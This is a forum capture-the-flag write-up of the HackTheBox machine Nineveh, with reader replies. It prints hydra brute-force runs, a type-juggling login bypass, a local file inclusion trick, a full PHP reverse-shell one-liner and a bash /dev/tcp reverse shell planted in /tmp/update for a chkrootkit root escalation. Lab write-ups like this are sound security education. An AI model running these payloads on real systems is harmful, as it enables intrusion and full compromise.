Nineveh write-up by Alamot


Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500

Starting masscan 1.0.4 ( at 2017-12-17 09:45:27 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on                                     
Discovered open port 443/tcp on 

We found TCP ports 80 and 443 open. Let’s explore them using nmap:

$ sudo nmap -A -p80,443

Starting Nmap 7.60 ( ) at 2017-12-17 11:48 EET
Nmap scan report for
Host is up (0.078s latency).

80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site does not have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site does not have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.8 (91%), Crestron XPanel control system (89%)

We see from ssl-cert the name nineveh.htb, so we add it to the /etc/hosts:

$ cat /etc/hosts
... nineveh.htb

Brute forcing directories and files in http website

$ dirb http://nineveh.htb/ /usr/share/dirb/wordlists/big.txt 
DIRB v2.22    
By The Dark Raver
START_TIME: Sun Dec 17 12:43:18 2017
URL_BASE: http://nineveh.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
---- Scanning URL: http://nineveh.htb/ ----
==> DIRECTORY: http://nineveh.htb/department/     
---- Scanning URL: http://nineveh.htb/ ----
+ http://nineveh.htb/index.html (CODE:200|SIZE:178)                                                                
+ http://nineveh.htb/info.php (CODE:200|SIZE:83769)                                                                
+ http://nineveh.htb/server-status (CODE:403|SIZE:299)  

Brute forcing directories and files in https website

$ dirsearch -u https://nineveh.htb -w /opt/DirBuster/directory-list-2.3-medium.txt -e php
Extensions: php | Threads: 10 | Wordlist size: 220521
Target: https://nineveh.htb

[14:29:06] Starting: 
[14:29:07] 200 -   49B  - /
[14:29:17] 301 -  309B  - /db  ->  https://nineveh.htb/db/
[14:48:14] 403 -  300B  - /server-status
[14:48:17] 301 -  319B  - /secure_notes  ->  https://nineveh.htb/secure_notes/

Getting shell without using PHPLiteAdmin

We visit this URL http://nineveh.htb/department/ and we meet a login page. There is a different answer if a username exists (‘Invalid Password!’ vs ‘Invalid username’). This allows us to enum users and verify that user ‘admin’ exists. We could brute force the password for user admin using hydra and rockyou.txt:

$ hydra -l admin -P /usr/share/dict/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" 
Hydra v8.5 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2017-12-17 12:17:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking service http-post-form on port 80
[DATA] with additional data /department/login.php:username=^USER^&password=^PASS^:Invalid Password!
[STATUS] 783.00 tries/min, 783 tries in 00:01h, 14343616 to do in 305:19h, 16 active
[STATUS] 788.00 tries/min, 2364 tries in 00:03h, 14342035 to do in 303:21h, 16 active

[80][http-post-form] host:   login: admin   password: 1q2w3e4r5t
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2017-12-17 12:23:13

But I prefer a more elegant solution. Instead of POSTing a password string:


we can submit an array:


PHP translates such POST variables to an empty array which causes strcmp() to fail due to type juggling:
strcmp(array(), “thePassword”) → NULL

Here is the relevant source code for reference:

amrois@nineveh:/var/www/html/department$ cat login.php 

    header( 'Location: manage.php' );
$USER = 'admin';
$PASS = '1q2w3e4r5t';
if(isset($_POST['username']) && isset($_POST['password'])){
    if($_POST['username'] == $USER){
        if(strcmp($_POST['password'], $PASS ) == 0){
            $_SESSION['username'] = $USER;
            header( 'Location: manage.php' ) ;
        } else { $error = "Invalid Password!"; }
} else { $error = 'invalid username'; }


So, I used burp to send the following request:

POST /department/login.php HTTP/1.1
Host: nineveh.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://nineveh.htb/department/login.php
Cookie: PHPSESSID=be38h2ulsvdpr40k344iud4097
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27


After we login and click on “Notes” we see some useful hints:

Have you fixed the login page yet! hardcoded username and password is really bad idea!

check your serect folder to get in! figure it out! this is your challenge

Improve the db interface.

But the URL is even more interesting:


This seems like a Local File Inclusion (LFI). But it is filtered.
After several tries we managed to find it:



But this is too long. Can we improve it? Yes, we can! :smiley:


Here is the relevant source code for reference:

amrois@nineveh:/var/www/html/department$ cat login.php
  $file = @$_GET['notes'];
  if(strlen($file) > 55)
     exit("File name too long.");
  $fileName = basename($file);
  if(!strpos($file, "ninevehNotes"))
    exit("No Note is selected.");
  echo "<pre>";
  echo "</pre>";

It’s time for some simple maths:
a) We have a LFI (http://nineveh.htb/department/manage.php?notes=)
b) We have phpinfo() (http://nineveh.htb/info.php)

LFI + phpinfo() = SHELL :smiley:

Read this:

So, we can get our shell using a script like that:

I have modified it a little to make it work for our case:

Don’t forget to change LHOST, LPORT inside the script and to setup your listener:

$ nc -lvp 60001

Usage :

python2 ./ 80 number_of_threads

Because we deal with a racing condition, you may have to run this script a couple of times until it succeeds. But I have tested it and it definitely works. :smiley:

Getting shell using PHPLiteAdmin

If we visit URL https://nineveh.htb/db/ we see a login page for phpLiteAdmin 1.9. Let’s search exploits for this:

$ searchsploit phpLiteAdmin 1.9 -w 

PHPLiteAdmin 1.9.3 - Remote PHP Code Injection
phpLiteAdmin 1.9.6 - Multiple Vulnerabilitiesh ttps://

Remote PHP Code Injection: “An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.”
So we have to login first and then we can inject PHP code in the sqlite database. Let’s try some brute force (username doesn’t matter in this case):

$ hydra -l user -P /usr/share/SecLists/Passwords/phpbb.txt https-post-form "/db/index.php:password=^PASS^&proc_login=true:Incorrect password"

Hydra ( starting at 2017-12-17 13:03:16
[DATA] max 16 tasks per 1 server, overall 16 tasks, 184365 login tries (l:1/p:184365), ~11523 tries per task
[DATA] attacking service http-post-form on port 443 with SSL
[DATA] with additional data /db/index.php:password=^PASS^&proc_login=true:Incorrect password
[STATUS] 183.00 tries/min, 183 tries in 00:01h, 184182 to do in 16:47h, 16 active
[STATUS] 209.00 tries/min, 627 tries in 00:03h, 183738 to do in 14:40h, 16 active
[STATUS] 224.29 tries/min, 1570 tries in 00:07h, 182795 to do in 13:36h, 16 active
[443][http-post-form] host:   login: user   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2017-12-17 13:10:44

We login and then:

  1. “Create a new Database” with name ‘somename.php’
  2. Click on “Change Database” link ‘somename.php’
  3. Create new table on database ‘somename.php’ with name ‘sometable’ (Number of Fields: 1)
  4. Give a name ‘sometext’ to the field, change its type to ‘TEXT’ and in its default value put whaterver PHP code you want (Just don’t use single quotes because they are already used by the database to enclose its strings. Note that PHP code injection works even if you insert the code in the field name instead of its value.).

Here, for example, I use the code from php-reverse-shell | pentestmonkey converted to one-liner by me ^_^:

<?php set_time_limit (0); $VERSION = "1.0"; $ip = ""; $port = 60002; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {  if (!$daemon) { print "$string\n"; } } ?>

On our side, we set up our listener and then visit http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../var/tmp/somename.php

$ nc -lvp 60002
nc: listening on 60002 ...
nc: connect to 60002 from nineveh.htb ( 36908 [36908]
nc: using stream socket
Linux nineveh 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 09:05:41 up 26 min,  2 users,  load average: 0.27, 0.18, 0.11
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
amrois   pts/0     08:53    4:05   0.08s  0.08s -bash
amrois   pts/1      09:05   29.00s  0.04s  0.04s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

User amrois

If we visit https://nineveh.htb/secure_notes/ we see a large image: https://nineveh.htb/secure_notes/nineveh.png
If we download it and run

$ strings nineveh.png

we discover, hidden inside the file, this private key:


Save the private key to a file and chmod 600 it.
Now we have to do some port knocking in order to open SSH port 22. We can find this information and the correct port combination by reading either /etc/knockd.conf or /var/mail/amrois

$ ls -al /etc/knockd.conf 
-rw-r--r-- 1 root root 354 Aug  5 02:06 /etc/knockd.con

$ cat knockd.conf
 logfile = /var/log/knockd.log
 interface = ens33

 sequence = 571, 290, 911 
 seq_timeout = 5
 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn

 sequence = 911,290,571
 seq_timeout = 5
 start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn

$ ls -al /var/mail/amrois
-rw-r--r-- 1 amrois mail 483 Jul  2 18:46 /var/mail/amrois

$ cat /var/mail/amrois
amrois@nineveh:/var/mail$ cat amrois
From root@nineveh.htb  Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
        id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

Amrois! please knock the door next time! 571 290 911

Therefore we can connect from outside like this:

knock 571 290 911 && ssh -i sshprivkey.txt amrois@

OR you can connect from inside your shell like that:

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i sshprivatekey.txt amrois@localhost


We see this interesting folder:

amrois@nineveh:/$ ls -al /
drwxr-xr-x   2 amrois amrois  4096 Dec 16 08:54 report

Inside this folder, we find some reports which are generated by chkrootkit:

amrois@nineveh:/$ cd report/
amrois@nineveh:/report$ ls -al
total 48
drwxr-xr-x  2 amrois amrois 4096 Dec 17 05:54 .
drwxr-xr-x 24 root   root   4096 Jul  2 21:07 ..
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:50 report-17-12-17:05:50.txt
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:51 report-17-12-17:05:51.txt
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:52 report-17-12-17:05:52.txt
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:53 report-17-12-17:05:53.txt
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:54 report-17-12-17:05:54.txt

amrois@nineveh:/report$ cat report-17-12-17:05:51.txt

Let’s search exploits for chkrootkit:

$searchsploit chkrootkit -w

Chkrootkit - Local Privilege Escalation (Metasploit)
Chkrootkit 0.49 - Local Privilege Escalation

Nice! Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial priv esc.

$ nano /tmp/update
    bash -i >& /dev/tcp/ 0>&1
$ chmod +x /tmp/update

Let’s explore those cron jobs a little:

$ nc -lvp 60000
nc: listening on 60000 ...
nc: connect to 60000 from nineveh.htb ( 60706 [60706]
nc: using stream socket

root@nineveh:~# cd /var/spool/cron/crontabs
root@nineveh:/var/spool/cron/crontabs# ls -al
-rw------- 1 amrois crontab 1129 Jul  2 19:59 amrois
-rw------- 1 root   crontab 1120 Jul  2 19:59 root

root@nineveh:/var/spool/cron/crontabs# tail -n2 amrois
*/10 * * * * /usr/sbin/

root@nineveh:/var/spool/cron/crontabs# cat /usr/sbin/
rm -rf /report/*.txt

root@nineveh:/var/spool/cron/crontabs# tail -n2 root
*/1 * * * * /root/

root@nineveh:/var/spool/cron/crontabs# cat /root/
/usr/bin/chkrootkit > /report/report-`date +%y-%m-%d:%H:%M`.txt
chown amrois:amrois /report/report-`date +%y-%m-%d:%H:%M`.txt

That’s all folks! :slight_smile:

Nice job. Loved the phpinfo trick - Had completely missed that the file was there.

Excellent write up Alamot =)

i used a totally different way, yours is really interesting. For the knock, i just used localhost etc…

Excellent job … These steps are exactly what I have in mind when I build this machine :slight_smile:

Great write up. Thanks for sharing!

@Yas3r said:
Excellent job … These steps are exactly what I have in mind when I build this machine :slight_smile:

it’s really a cool box for all levels

Awesome writeup as always, interesting different angles :+1:

@peek said:

@Yas3r said:
Excellent job … These steps are exactly what I have in mind when I build this machine :slight_smile:

it’s really a cool box for all levels

Thanks … this is correct … it meant to be for educational purposes… :slight_smile:

That phpinfo trick is really cool, excellent writeup :slight_smile:

@Booj said:
That phpinfo trick is really cool, excellent writeup :slight_smile:

Type juggling, too.

Thanks for sharing! :smiley:

I SSHed ro amrois successfully. But I am unable to do priv esc after that. I am not getting root shell here

$ nc -lvp 60000
Its just showing Listening on [] (family 0, port 6000)
Someone please help me to get into the machine

Thanks in advance